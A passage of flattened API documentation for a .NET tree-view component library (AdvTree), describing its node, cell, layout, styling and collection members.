Gets whether property should be serialized. + + + + + Resets the property to its default value. + + + + + Gets or sets shape border. + + + + + Gets or sets the shape fill. + + + + + Gets or sets the CornerRadius. + + + + + Initializes a new instance of the SolidBorder class. + + + + + + + Initializes a new instance of the SolidBorder class. + + + + + + Initializes a new instance of the SolidBorder class. + + + + + Creates the pen for the border. + + Returns pen or null if pen cannot be created. + + + + Gets whether property should be serialized. + + true if property should be serialized + + + + Sets the property to its default value. + + + + + Gets or sets the fill color. + + + + + Initializes a new instance of the SolidFill class. + + + + + + Initializes a new instance of the SolidFill class. + + + + + Creates the brush for fill. + + Bounds for the brush + Returns brush or null if brush cannot be created for given bounds or colors are not set. It is responsibility of caller to Dispose the brush. + + + + Gets whether property should be serialized. + + true if property should be serialized + + + + Sets the property to its default value. + + + + + Gets or sets the fill color. + + + + + Specifies layout of the items in AdvTree control. + + + + + Standard TreeView layout. + + + + + ListView style tile layout. + + + + Specifies the way background image is displayed on background. + + + Image is stretched to fill the background + + + Image is centered inside the background + + + Image is tiled inside the background + + + + Image is drawn in top left corner of container space. + + + + + Image is drawn in top right corner of container space. + + + + + Image is drawn in bottom left corner of container space. + + + + + Image is drawn in bottom right corner of container space. + + + + Indicates alignment of a part of the cell like image or check box in relation to the text. + + + + Part is aligned to the left center of the text assuming left-to-right + orientation. + + + + + Part is aligned to the right center of the text assuming left-to-right + orientation. + + + + + Part is aligned to the top left of the text assuming left-to-right + orientation. + + + + Part is aligned above the text and centered. + + + + Part is aligned to the top right of the text assuming left-to-right + orientation. + + + + + Part is aligned to the bottom left of the text assuming left-to-right + orientation. + + + + Part is aligned below the text and centered. + + + + Part is aligned to the bottom right of the text assuming left-to-right + orientation. + + + + + Part has default alignment that depends on the parent control view. + + + + + Specifies how to trim characters from a text that does not completely fit into a element's shape. + + + + + Specifies that the text is trimmed to the nearest character. + + + + + Specifies that the text is trimmed to the nearest character, and an ellipsis is inserted at the end of a trimmed line. + + + + + The center is removed from trimmed lines and replaced by an ellipsis. The algorithm keeps as much of the last slash-delimited segment of the line as possible. + + + + + Specifies that text is trimmed to the nearest word, and an ellipsis is inserted at the end of a trimmed line. + + + + + Specifies no trimming. + + + + + Specifies that text is trimmed to the nearest word. + + + + + Indicates absolute vertical alignment of the content. + + + + + Content is aligned to the top + + + + + Content is aligned in the middle + + + + + Content is aligned at the bottom + + + + + Indicates absolute horizontal alignment + + + + + Content is left aligned + + + + + Content is centered + + + + + Content is right aligned + + + + + Indicates prefered node layout position on Map tree layout when node is the child node of the top-level root node. + + + + + Node is positioned based on default algorithm. + + + + + Sub-root node and all nodes after it are positioned to the left of the root. + + + + + Sub-root node and all nodes before it are positioned to the right of the root. + + + + + Specifies the column header visibility for the node. + + + + + Column header is automatically shown/hidden based on the node's position in the tree. When + Node is first child node i.e. with index=0 the header will be shown, otherwise header will + be hidden. + + + + + Column header is always displayed regardless of node's position. + + + + + Column header is always hidden regardless of node's position. + + + + + Indicates the part of the node. + + + + + Bounds of complete node content except expand button. This also includes the child node bounds if node is expanded. + + + + + Bounds of the expand button which collapses/expands the node. + + + + + Hit test bounds of the expand button which collapses/expands the node used by mouse routines to trigger node expansion/collapse. + + + + + Bounds of all child nodes of give node. + + + + + Bounds for cells inside a node. + + + + + Complete node bounds including expand button. + + + + + Bounds of the command button. + + + + + Bounds of child node columns if node has columns defined. + + + + + Indicates the part of the cell. + + + + + Bounds of check box or Rectangle.Empty if there is no check-box. + + + + + Bounds of image inside the cell or Rectangle.Empty if there is no image. + + + + + Text bounds inside of cell. + + + + + Cell bounds + + + + + Indicates part of the node mouse is placed over. + + + + + Mouse is not over any node part. + + + + + Mouse is placed over the node. + + + + + Mouse is placed over node expand button. + + + + + Mouse is placed over the cell. + + + + + Mouse is placed over the command button. + + + + + Indicates the visibility of node expand part which allows user to expand/collaps node. + + + + + Default setting which indicates that when node has child nodes expand part is visible otherwise it is hidden. + + + + + Expand part is always visible regardless of whether child nodes are present or not. + + + + + Expand part is always hidden regardless of whether child nodes are present or not. + + + + + Specifies the action that raised a AdvTreeEventArgs event + + + + + The event was caused by a keystroke. + + + + + The event was caused by a mouse operation. + + + + + The event was caused by the Node collapsing. + + + + + The event was caused by the Node expanding. + + + + + The event is caused programmatically from user code. + + + + + Specifies node connector type. Node connector is the type of the line/connection that is drawn to connect child node to it's parent node. + + + + + Straight line connector type. + + + + + Specifies the layout type used to position the cells within the nodes. + + + + + Specifies that default setting is to be used for cell layout. Default is Horizontal. When set to default on the Node, setting from Tree control is used. + + + + Horizontal layout positions the cells horizontally next to each other. + + + + Vertical layout positions cell vertically on top of each other. + + + + + Specifies the layout type used to position the parts of the cell like image, checkbox and text. + + + + + Specifies that default setting is to be used for cell parts layout. Default is Horizontal. When set to default on the Cell, setting from Tree control is used. + + + + Horizontal layout positions the parts of the cell horizontally next to each other. + + + + Vertical layout positions parts of the cell vertically on top of each other. + + + + + Specifies the color scheme loaded by ColorScheme object. + + + + + Indicates Office 2003 like color scheme. + + + + + Indicates VS.NET 2005 like color scheme. + + + + + Indicates Office 2007 like color scheme. + + + + + Specifies the currently selected system color scheme if running on Windows XP. + + + + + Color scheme cannot be determined. + + + + + Blue color scheme. + + + + + Olive green color scheme. + + + + + Silver color scheme. + + + + + Specifies the flow of diagram layout related to the root node. + + + + + Nodes are positioned from left to right with root node being the left-most node. + + + + + Nodes are positioned from right to left with root node being the right-most + node. + + + + + Nodes are positioned from top to bottom with root node being the top node. + + + + + Nodes are positioned from bottom to top with root node being bottom node. + + + + + Specifies the flow of the map layout. + + + + + Nodes are arranged around the root node. + + + + + Nodes are arranged from below the root node. + + + + + Nodes are arranged above the root node. + + + + + Nodes are arranged to the right of the root node. + + + + + Nodes are arranged to the left of the root node. + + + + + Specifies the type of the expand button. + + + + + Indicates elliptical expand button. + + + + + Indicates rectangular expand button. + + + + + Indicates that images are used for expand button. + + + + + Indicates the Windows Vista style expand button. + + + + + Specifies the visual style for the tree control. + + + + + Indicates default visual style. + + + + + Specifies the layout type for the nodes. + + + + + Nodes are arranged around root node in map format. + + + + + Nodes are arranged from left-to-right in diagram format. + + + + + Specifies renderer type used to render nodes. + + + + + Specifies default renderer which allows most customization through AdvTree + properties. Default renderer integrates with the Style architecture to provide + customization on renderer behavior. + + + + + Specifies that custom renderer is used. When set you must also set NodeRenderer + to renderer you want to use. + + + + + Specifies the node selection style. + + + + + Node selector highlights the complete node row when node is selected. + + + + + Node selector draws the rectangle that highlights the node content. Appearance similar to system tree view in Windows Vista. + + + + + Node selector draws hollow selection rectangle around the node. + + + + + Specifies the rule for multi-node selection. + + + + + Allows multiple selection of nodes with same parent node only. + + + + + Allows multiple selection of any node. + + + + + Gets or sets the image alignment inside of column header. + + + + + Image is left aligned. + + + + + Image is right aligned. + + + + + Specifies the editor type used when cell is edited. + + + + + Indicates default, text based editor. + + + + + Indicates that Integer numeric editor will be used for editing the value of the cell or column. + + + + + Indicates that Double numeric editor will be used for editing the value of the cell or column. + + + + + Indicates that Currency numeric editor will be used for editing the value of the cell or column. + + + + + Indicates that date editor will be used for editing the value of the cell or column. + + + + + Indicates that time editor will be used for editing the value of the cell or column. + + + + + Indicates that date and time editor will be used for editing the value of the cell or column. + + + + + Indicates that cell will use custom editor that you provide by handling AdvTree.ProvideCustomCellEditor event. + + + + + Specifies the sort direction for the column header. + + + + + No sort is specified. + + + + + Ascending sorting is in effect, i.e. A-Z + + + + + Descending sorting is in effect, i.e. Z-A + + + + + Defines the delegate for AdvTree cell based action events. + + + + + Defines the delegate for AdvTree cell based action events. + + + + + Defines the delegate for AdvTree node based action events that can be cancelled. + + + + + Defines the delegate for AdvTree node based action events. + + + + + Defines delegate for Command button events. + + + + + Defines delegate for label editing events. + + + + + Defines the delegate for AdvTree node based action events. + + + + + Defines the delegate for BeforeNodeDrop and AfterNodeDrop events + + + + + Defines the delegate for NodeDragFeedback event. + + + + + Defines the delegate for mouse based node events + + + + + Defines delegate for node rendering events. + + + + + Defines delegate for cell rendering events. + + + + + Defines delegate for RenderExpandPart event. + + + + + Defines delegate for RenderExpandPart event. + + + + + Defines delegate for RenderConnector event. + + + + + Defines delegate for TreeBackgroundRenderer events. + + + + + Defines delegate for RenderDragDropMarker event. + + + + + Defines delegate for RenderColumnHeader event. + + + + + Provides data for the ProvideCustomCellEditor event. + + + + + Gets or sets the cell editor. You must set this property in your event handler to the custom + editor to be used for cell editing. + + + + + Gets the cell editor will be used for. + + + + + Initializes a new instance of the CustomCellEditorEventArgs class. + + + + + + Defines delegate for ProvideCustomCellEditor event. + + + + + Provides more information about MarkupLinkClick event. + + + + + Gets the value of href attribute from the markup link that was clicked. + + + + + Gets the value of name attribute from the markup link that was clicked. + + + + + Creates new instance of the object. + + Value of name attribute. + Value of href attribute. + + + + Defines delegate for MarkupLinkClick event. + + + + + Represents arguments for SerializeNode event which allows you to add custom serialization data to definitions saved by control. + + + + + Gets reference to the node being serialized or de-serialized. + + + + + Gets reference to instance of XmlElement that item is serialized to or is being de-serialized from. You should not change any data directly on this element. + + + + + Gets the reference to XmlElement that you can serialize to or de-serialize any custom data from. You can add child elements or set the attributes on + this XmlElement when handling SerializeItem event. When handling DeserializeItem event you can load your data from this element. + + + + + Defines delegate for SerializeItem event. + + + + + Represents the table header. + + + + + Default constructor. + + + + + Gets the reference to the collection that contains the columns associated with header. + + + + + Gets or sets the name associated with this header definition. + + + + + Represents collection for HeaderDefinition objects. + + + + + Sets the node collection belongs to. + + HeaderDefinition that is parent of this collection. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the HeaderDefinition array. + + Array to copy to. + + + + Gets or sets the node this collection is associated with. + + + + + Returns reference to the object in collection based on it's index. + + + + + Provides WinApi functions to rest of the application. + + + + + Resets Hoover timer for specified control. + + + + + Provides AdvTree Keyboard handling. + + + + + Represents class for Node's cell layout. + + + + + Offset cell bounds, check box bounds, image bounds and text bounds by specified offset. + + Cell to offset. + Horizontal offset in pixels. + Vertical offset in pixels. + + + + Returns spacing between check box and image if both are displayed + + + + + Returns spacing between image or checkbox and text + + + + + Returns vertical spacing between cells in a node + + + + + Spacing between different parts of the cell, like image, option button, text and expand button area + + + + + Initializes a new instance of the CellTileLayout class. + + + + + Class that is used to layout column header. + + + + + Gets or sets the vertical spacing between nodes in pixels. + + + + + Gets or sets the horizontal spacing between nodes in pixels. + + + + + Returns horizontal spacing between cells in a node + + + + + Returns width of the expand button area. Default is 24 pixels. + + + + + Gets or sets the size of the expand part that is expanding/collapsing the node. Default value is 8,8. + + + + + Gets or sets width of command button area. Default is 8 pixels. + + + + + Summary description for NodeLayout. + + + + + Performs layout of the nodes inside of the tree control. + + + + + Performs layout for single unassigned node. Node does not have to be part of the tree control. + + Node to perform layout on. + + + + Resizes all styles and prepares them for layout. + + + + + Returns default top-level columns for tree control. + + Returns array list of ColumnInfo objects. + + + + Returns column information for a given node. + + Node to return column information for + Returns array list of ColumnInfo objects or null if there are no columns defined. + + + + Returns column header collection for the given column template name. + + Name of the column template. + Column header collection or null if template name cannot be found. + + + + Sets the position and size of the node command button. + + Node layout context information + + + + Determines the rectangle of the +/- part of the tree node that is used to expand node. + + Node layout context information + + + + Returns the size of the node expand part. + + Size of the expand part, default 8,8. + + + + Provides the layout for single node. + + Layout information. + + + + Returns true if given node has expand part. + + Layout context information. + + + + + Returns whether given node has command part. + + Layout context information. + True if command part should be drawn otherwise false. + + + + Returns class responsible for cell layout. + + Cell layout class. + + + + Offsets node location and location of it's child nodes bounds. + + Node to offset. + Horizontal offset. + Vertical offset. + + + + Gets or sets layout settings. + + + + + Gets or sets the child node indent in pixels. + + + + + Returns true if root node should have expanded part + + + + + Returns true if expand part space should be accounted for even if they expand part is not visible or need to be displayed. Default value is false. + + + + + Initializes a new instance of the NodeColumnInfo structure. + + + + + + + Gets or sets the list of column info object for the columns. + + + + + Gets or sets whether columns have auto-size column. + + + + + Used to pass node contextual information used for layout of the node. + + + + + Performs ListView Tile style layout. + + + + + Returns default top-level columns for tree control. + + Returns array list of ColumnInfo objects. + + + + Gets whether the expand part of the node +/- is aligned to the left of the node in left-to-right layout. + + Node to get expand part alignment for + true if node expand part is aligned to the left in left-to-right layout. + + + + Returns column information for a given node. + + Node to return column information for + Returns array list of ColumnInfo objects or null if there are no columns defined. + + + + Returns true if given node has expand part. + + Layout context information. + + + + + Returns class responsible for cell layout. + + Cell layout class. + + + + Returns true if expand part space should be accounted for even if they expand part is not visible or need to be displayed. Default value is false. + + + + + Gets or sets whether parent/child node relationship is displayed as groups. + + + + + Performs classic TreeView layout. + + + + + Gets whether the expand part of the node +/- is aligned to the left of the node in left-to-right layout. + + Node to get expand part alignment for + true if node expand part is aligned to the left in left-to-right layout. + + + + Returns true if expand part space should be accounted for even if they expand part is not visible or need to be displayed. Default value is false. + + + + + Represents the Node in Tree control. + + + + Default Constructor. + + + + Creates node and initializes its text. + + + + + Creates node and initializes its text and Style property. + + + + + Sets the bounds of the node. + + New location and size of the node. + + + + Sets the content bounds of the node. Content bound is bound for the the cells inside the node + and it excludes the expand rectangle. Bounds also include the node style padding and + reflect node margin. + + New location and size of the node. + + + + Sets cell bounds. + + New cells bounds. + + + + Sets node parent. + + Parent node object. + + + + Called when Parent of the node has changed. + + + + + Sets the bounds of the expand part. + + New part bounds. + + + + Sets the Checked or CheckState properties. + + New value for checked state. + Action source. + + + + Sets the Checked or CheckState properties. + + New value for checked state. + Action source. + + + + Sets whether node is in edit mode or not. + + True indicating that node is in edit mode false otherwise. + + + + Sets selected cell and provides information on the action that caused the selection change. + + New selected cell. + Action source. + + + + Resets image to its default value. Windows Forms designer support. + + + + + Resets image to its default value. Windows Forms designer support. + + + + + Resets ImageMouseOver to its default value. Windows Forms designer support. + + + + + Resets ImageExpanded to its default value. Windows Forms designer support. + + + + + Called after node has been deselected. + + Provides information on how selection was performed + + + + Called after node has been selected. + + Provides information on how selection was performed + + + + Returns cell within a node which contains specified coordinates. + + + + Cell which contains specified coordinates or null/nothing if no cell contains coordinates. + + + + Invalidates the layout for this node and causes the layout to be performed on next layout request. + + + + + Invalidates the layout for this node and causes the layout to be performed on next layout request. + + Indicates whether to invalidate layout for all child nodes as well. + + + + Invalidates node and causes a paint message to be sent to the tree. + + + + Initiates the editing of node text. + + This method by default edits text stored in Node.Text. Call to this method is + same as calling the overload method BeginData(0) with zero as parameter. Use BeginData + overload method to begin editing the specific column for multi-column nodes. + + + + Initiates the editing of node text. + + The initial text to be entered into the edit TextBox. Specify null to use existing text. + + + + Initiates text editing of certain Node column. + + Zero based index of a column to begin editing for. Column 0 always corresponds to + Node.Text property. + + + + Initiates text editing of certain Node column. + + Zero based index of a column to begin editing for. Column 0 always corresponds to + Node.Text property. + + + The initial text to be entered into the edit TextBox. Specify null to edit existing text. + + + + + Creates new instance of the node for the Copy() and DeepCopy() methods. Allows you to returns your own node type copy if you inherit from node to add custom properties. + + New instance of a node. + + + Makes a "shallow" copy of a Node. + + Shallow copy of a Node is a exact copy of Node but without copy + of all child nodes in Nodes collection. + + + + + Copies this node properties to a node. + + Node top copy properties to. + + + Makes a "deep" copy of a node. + + Deep copy of Node is a exact copy of Node including exact copies of all child nodes + in this node's Nodes collection. + + + + + Collapses the tree node. + + + + + Collapses the tree node. + + Action that caused the event + + + + Collapses all the child tree nodes. + + + + + Ends the editing of the node text or column. + + true if the editing of the tree node label text was canceled without being saved; otherwise, false. + + + + Ensures that the node is visible, expanding nodes and scrolling the control as necessary. + + + + + Ensures that the node is visible, expanding nodes and scrolling the control as necessary. + + Indicates the position within a tree visible area node is scrolled to + + + + Expands the node. + + + The Expand method expands the current Node down to the next level of nodes. + The state of a Node is persisted. For example, if the next level of child nodes was not collapsed previously, when the Expand method is called, the child nodes appear in their previously expanded state. + + + + + Expands the node. + + + The Expand method expands the current Node down to the next level of nodes. + The state of a Node is persisted. For example, if the next level of child nodes was not collapsed previously, when the Expand method is called, the child nodes appear in their previously expanded state. + + Action that caused the event. + + + + Expands all the child tree nodes. + + + + + Expands all the child tree nodes. + + + + + Removes the current node from the control. + + + When the Remove method is called, the node and any child nodes assigned to the Node are removed from the Tree. The removed child nodes are removed from the Tree, but are still attached to this node. + + + + + Removes the current node from the control and provides information about source of action + + + When the Remove method is called, the node and any child nodes assigned to the Node are removed from the Tree. The removed child nodes are removed from the Tree, but are still attached to this node. + + + + + Toggles the node to either the expanded or collapsed state. + + + + + Toggles the node to either the expanded or collapsed state. + + Action that caused the event. + + + Returns string representation of the Node. + + + + Called after new cell has been added to Cells collection. + + Reference to the new cell added. + + + + Called after cell has been removed from Cells collection. + + Reference to the removed cell. + + + + Occurs when property on the node has changed that influences the size of the node. + + + + + Occurs when any image property for the cell has changed. + + + + + Occurs when size of the child nodes has changed. + + + + + Called before Expanded state of the node has changed. + + New Expand State + Action Source + + + + Called when visual part of the node has changed due to the changes of its properties or properties of the cells contained by node. + + + + + Called after new node has been added to Nodes collection. + + Reference to the new node. + + + + Called after node has been removed from Nodes collection. + + Reference to the node that is removed. + + + + Creates new cells based on the columns defined on either parent node or the columns in tree control. Node + must be parented so it can get reference to a parent tree control. + + + + + Raises the Click event on node and parent tree if available. + + + + + Provides implementation for IComparable interface. This is used for sorting and it compares the Text property on nodes. + + + + + + + Occurs when the mouse pointer is over the node and a mouse button is pressed. + + + + + Occurs when the mouse pointer is over the node and a mouse button is released. + + + + + Occurs when the mouse pointer is moved over the node. + + + + + Occurs when the mouse enters the node. + + + + + Occurs when the mouse leaves the node. + + + + + Occurs when the mouse hovers over the node. + + + + + Occurs when the node is clicked with left mouse button. If you need to know more information like if another mouse button is clicked etc. use + NodeMouseDown event. + + + + + Occurs when the node is double-clicked. + + + + + Occurs when hyperlink in text-markup is clicked. + + + + + Gets whether node has child nodes. + + + + + Gets or sets the context menu assigned to this node. Standard Context Menus, VS.NET 2005 Context Menus and DotNetBar Suite context menus are supported. + Default value is null (Nothing) which indicates that no context menu is assigned. + + + + + Gets whether any of the cells inside the node has HostedControl property set. + + + + + Gets or sets custom node renderer. You can set this property to your custom renderer. When set the RenderMode should be set to custom to enable + your custom renderer. To choose one of the system renderer use RenderMode property. Default value is null. + + + + + Gets or sets the render mode used to render the node. Default value is eNodeRenderMode.Default which indicates that system default renderer is used. + Note that if you specify custom renderer you need to set either AdvTree.NodeRenderer or Node.NodeRenderer property. + + + + + Gets or sets whether node is expanded. Expanded node shows it's child nodes. + + + + + Returns name of the node that can be used to identify it from the code. + + + + + Gets or sets whether node can be dragged and dropped. Default value is true. + + + + + Gets or sets visibility of the expand button. Default value is Auto meaning that + expand button is displayed only if node has at least one child node. + + + You can use this property for example to dynamically load the child nodes when user + tries to expand the node. You could for example handle BeforeExpand event to load child + nodes into the node. + + + + + Gets or sets whether any operation on the node has been performed that would affect node's size. Size changed flag + internally indicates that node's size needs to be recalculated because it has changed + due to the changes in data. + + + + + Gets the relative bounds of the tree node including the expand part of the node. + + + + + Gets the absolute bounds of the tree node including the expand part of the node. + + + + + Gets the node content bounds. + + + + + Gets the bounds for all the cells inside the node. The bounds do not include the expand part. + + + + + Gets the bounds for all the cells inside the node. The bounds do not include the expand part. + + + + + Gets or sets the bounds of child nodes. + + + + + Gets the expand part rectangle. Expand part is used to expand/collapse node. + + + + + Gets the expand part rectangle. Expand part is used to expand/collapse node. + + + + + Indicates vertical alignment within the node bounds of expand part of the node, if one is visible. + + + + + Gets or sets the Command part bounds if command part is visible. + + + + + Gets or sets a value indicating whether the tree node is in a checked state. + + + + + Gets or sets the checkbox alignment in relation to the text displayed by first default cell. + + + + + Gets or sets whether check box is visible inside the cell. + + + + + Gets or sets the appearance style of the item. Default value is CheckBox. Item can also assume the style of radio-button. + + + + + Gets or sets a value indicating whether the CheckBox will allow three check states rather than two. If the ThreeState property is set to true + CheckState property should be used instead of Checked property to set the extended state of the control. + + + + + Specifies the state of a control, such as a check box, that can be checked, unchecked, or set to an indeterminate state. + + + + + Gets or sets whether first cell content is editable when cell editing is enabled on tree control. Default value is true. + + + + + Gets the path from the root tree node to the current tree node. The path consists of the labels of all the tree nodes that must be navigated to get to this tree node, starting at the root tree node. The node labels are separated by the delimiter character specified in the PathSeparator property of the Tree control that contains this node. + + + + + Gets the zero based index of position of the tree node in the tree node collection. -1 is returned if node is not parented. If node is root node + the index of node in AdvTree.Nodes collection is returned. + + + + + Gets a value indicating whether the tree node is in an editable state. true if the tree node is in editable state; otherwise, false. + + + + + Gets whether left mouse button is pressed on any cell contained by this node. + + + + + Gets whether mouse cursor is over on any cell contained by this node. + + + + + Gets a value indicating whether the tree node is in the selected state. true if the tree node is in the selected state; otherwise, false. + + + + + Gets or sets whether node can be selected by user by clicking it with the mouse or using keyboard. Default value is true. + + + + + Gets whether node can be selected. Node must be Visible, Enabled and Selectable in order for it to be selected. + + + + + Gets or sets a cell that is in selected state otherwise it returns null. + + + + + Gets a value indicating whether the tree node is visible. Node is considered to be visible when it's Visible property is set to true and path to the node is available i.e. all parent nodes are expanded. + + + + + Returns whether node is displayed on the screen and visible to the user. When node is outside of the viewable area this property will return false. It will also return false if node is not visible. + + + + + Gets the last child tree node. The LastNode is the last child Node in the NodeCollection stored in the Nodes property of the current tree node. If the Node has no child tree node, the LastNode property returns a null reference (Nothing in Visual Basic). + + + + + Gets the next sibling tree node. The NextNode is the next sibling Node in the NodeCollection stored in the Nodes property of the tree node's parent Node. If there is no next tree node, the NextNode property returns a null reference (Nothing in Visual Basic). + + + + + Gets the next visible tree node. The NextVisibleNode can be a child, sibling, or a tree node from another branch. If there is no next tree node, the NextVisibleNode property returns a null reference (Nothing in Visual Basic). + + + + + Gets the zero-based depth of the tree node in the tree control. The root node is considered the first level of nesting and returns 0. + + + + + Gets the collection of Node objects assigned to the current tree node. The Nodes property can hold a collection of other Node objects. Each of the tree node in the collection has a Nodes property that can contain its own NodeCollection. Nesting of tree nodes can make it difficult to navigate a tree structure. The FullPath property makes it easier to determine your location in a tree. + + + + + Gets whether there is at least one child node that has its Visible property set to true. + + + + + Gets the parent tree node of the current tree node. If the tree node is at the root level, the Parent property returns a null reference (Nothing in Visual Basic). + + + + + Gets the previous sibling tree node. The PrevNode is the previous sibling Node in the NodeCollection stored in the Nodes property of the tree node's parent Node. If there is no previous tree node, the PrevNode property returns a null reference (Nothing in Visual Basic). + + + + + Gets the previous visible tree node. The PrevVisibleNode can be a child, sibling, or a tree node from another branch. If there is no previous tree node, the PrevVisibleNode property returns a null reference (Nothing in Visual Basic). + + + + + Gets or sets the object that contains data about the tree node. Any Object derived type can be assigned to this property. If this property is being set through the Windows Forms designer, only text can be assigned. + + + + + Gets or sets the object that contains data about the tree node. Any Object derived type can be assigned to this property. If this property is being set through the Windows Forms designer, only text can be assigned. + + + + + Gets or sets the Binding index in CurrencyManager list if node is bound. You should not change this value directly since + it is used internally by the control for data binding scenarios. + + + + + Gets or sets the object that contains additional data about the tree node. Any Object derived type can be assigned to this property. If this property is being set through the Windows Forms designer, only text can be assigned. + This property has same function as Tag property and provides you with additional separate storage of data. + + + + + Gets or sets the object that contains additional data about the tree node. Any Object derived type can be assigned to this property. If this property is being set through the Windows Forms designer, only text can be assigned. + This property has same function as Tag property and provides you with additional separate storage of data. + + + + + Gets or sets the format that is applied to the value of Text property for display purposes (applies to first cell in a node, i.e. Cells[0]). See "Formatting Overview" in MSDN + for description on available format strings. For example you can specify "C" to format text as currency, or "D" to format text as decimal number etc. + + + + + + Gets or sets the text displayed in the tree node. + + + + + Gets or sets the control hosted inside of the first node cell. + + + When control is hosted inside of the cell, cell size is determined by the + size of the control hosted inside of it. The cell will not display its text but it will display any image assigned + or check box when control is hosted inside of it. The Style settings like Margin + and Padding will still apply. + + + + + Gets or sets the item hosted inside of the first cell. Only items that do not generate + popups are supported. Note that cell can only host either HostedItem or HostedControl but not both. + + + + + Gets the parent tree control that the tree node is assigned to. + + + + + Gets or sets the layout of the cells inside the node. Default value is Horizontal layout which + means that cell are positioned horizontally next to each other. + + + + + Gets or sets the cell alignment when CellLayout=Vertical. Default value is center which means that cells are center aligned. + + + + + Gets or sets the layout of the cell parts like check box, image and text. Layout can be horizontal (default) + where parts of the cell are positioned next to each other horizontally, or vertical where + parts of the cell are positioned on top of each other vertically. + Alignment of the each part is controlled by alignment properties. This property affects only the first cell inside of the node. + Use Cell.Layout property to change the part layout on each cell contained by node. + + + + + Gets/Sets informational text (tooltip) for the cell. + + + + + Gets the collection of all Cells assigned to this node. There should be always at least one cell in a node which is default cell. Default + collection contains a single cell. + + + + + Gets or sets whether column header for child nodes if defined is visible. Default value is true. + + + + + Gets whether node has child nodes columns defined. + + + + + Get collection of child node columns. + + + + Gets or sets the style of the cells when node is expanded. + + Reference to the style assigned to the node/cell or null value indicating that + default style setting from tree control is applied. Default value is null. + + + When node is expanded the style specified here will be used on all cells + associated with this node instead of the + Cell.StyleNormal. That way you can give + different appearance to your node's cells when node is expanded. + When property is set to null value the style setting from parent tree + controls is used. NodeStyleExpanded on + AdvTree control is a root style for a cell. + + + + + Gets or sets the expanded style name used by node. This member is provided for internal use only. To set or get the style use StyleExpanded property instead. + + + + + Gets or sets the style used when Node is selected. Default value is NULL (VB + Nothing) + + + + + Gets or sets the selected style name used by node. This member is provided for internal use only. To set or get the style use StyleSelected property instead. + + + + + Gets or sets the style used when mouse is over the Node. Default value is NULL + (VB Nothing) + + + + + Gets or sets the mouse over style name used by node. This member is provided for internal use only. To set or get the style use StyleMouseOver property instead. + + + + + Gets or sets the node style. + + + Reference to the style assigned to the node or null value indicating that default + style setting from tree control is applied. Default value is null. + + + Style specified by this property will be used as default style for the node. + Each cell within the node can also specify it's own style. Since node contains the + cells using this style property can you for example create a border around all cell + contained by the node. + When this property is set to null value (default value) NodeStyle + property on AdvTree control is used. + + + + + Gets or sets the style name used by node. This member is provided for internal use only. To set or get the style use Style property instead. + + + + + Gets or sets the part of the node mouse is over. + + + + + Gets or sets the node horizontal offset from the position determined by the layout manager. + + + + + Gets or sets the image alignment in relation to the text displayed by cell. This property affects only first default cell inside the node. + Property with same name is available on each cell and you can use it to affect each cell individually. + + + + + Gets or sets whether node is enabled. Default value is true. Setting this value to false will set Enabled=false on all child cells. + + + + + Gets or sets the image displayed when the tree node is disabled. If image is not specified control will create + gray-scale disabled image automatically. + + + Image specified will be used as image when node is disabled. + + + + + Gets or sets the image-list index value of the disabled image. + + + + + Gets or sets the image displayed when the tree node is in the unselected state. + + + Image specified will be used as a default image for any other node state where + different image is not specified. + + + + + Gets or sets the image-list key value of the default image that is displayed by the tree nodes. + + + + + Gets or sets the image-list index value of the default image that is displayed by the tree nodes. + + + + + Gets or sets the image displayed when mouse is over the tree node. + + + + + Gets or sets the image-list index value of the image that is displayed by the tree nodes when mouse is over the node. + + + + + Gets or sets the image-list key value of the image that is displayed by the tree nodes when mouse is over the node. + + + + + Gets or sets the image displayed when node is expanded. + + + + + Gets or sets the image-list index value of the image that is displayed by the tree nodes when node is expanded. + + + + + Gets or sets the image-list key value of the image that is displayed by the tree nodes when node is expanded. + + + + + Property Editor support for ImageIndex selection + + + + + Gets or sets the NodeConnector object that describes the type of the connector used for + displaying connection between current node and its parent node. + Default value is null which means that settings from AdvTree control are used. + + RootConnector Property (DevComponents.AdvTree.AdvTree) + NodesConnector Property (DevComponents.AdvTree.AdvTree) + + + + Gets or sets whether node is visible. + + + + + Gets or sets whether command button is visible. Default value is false. + Command button can be used to display for example popup menu with commands for node, + or to display the list of linked nodes. + + + + + Gets or sets internal value that indicates that node is on "path" of the selected node. + + + + + + Gets or sets whether node selection is visible in UI when node is selected. Default value is true. You can + set this value to false to temporary disable the display of selection for a node. + + + + + Gets or sets the additional indent for the child nodes that is added to the AdvTree.Indent value when performing child node layout. Default value i 0. + + + + + Gets or sets whether Left/Right navigation through the cells when SingleCellSelection on tree is set is enabled. Default value is true. + + + + + Gets or sets whether style background that is applied to the node is drawn across the width of the tree control instead of only + behind the node content. Default value is false. + + + + + Gets or sets the child column header height. + + + + + Gets the AccessibleObject assigned to the item. + + + + + Gets or sets the default action description of the control for use by accessibility client applications. + + + + + Gets or sets the description of the control used by accessibility client applications. + + + + + Gets or sets the name of the control used by accessibility client applications. + + + + + Gets or sets the accessible role of the item. + + + + + Gets or sets a value indicating whether the node is visible to accessibility applications. + + + + + Represents collection for Node objects. + + + + + Sets the node collection belongs to. + + Node that is parent of this collection. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Adds new object to the collection and provides information about the source of the command + + Node to add + Source action + + + + + Adds an array of objects to the collection. + + Array of Node objects. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + Action that is causing the event + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Removes specified object from the collection and provides information about source of the command + + Node to remove + Source action + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the Node array. + + Array to copy to. + + + + Sorts the elements in the entire collection using the IComparable implementation of each element. + + + + + Sorts the elements in the entire collection using the specified comparer. + + The IComparer implementation to use when comparing elements.-or- null to use the IComparable implementation of each element. + + + + Sorts the elements in a range of elements in collection using the specified comparer. + + + + + + + + Finds the tree nodes with specified key, optionally searching sub-nodes. + + The name of the tree node to search for. + true to search child nodes of tree nodes; otherwise, false. + An array of Node objects whose Name property matches the 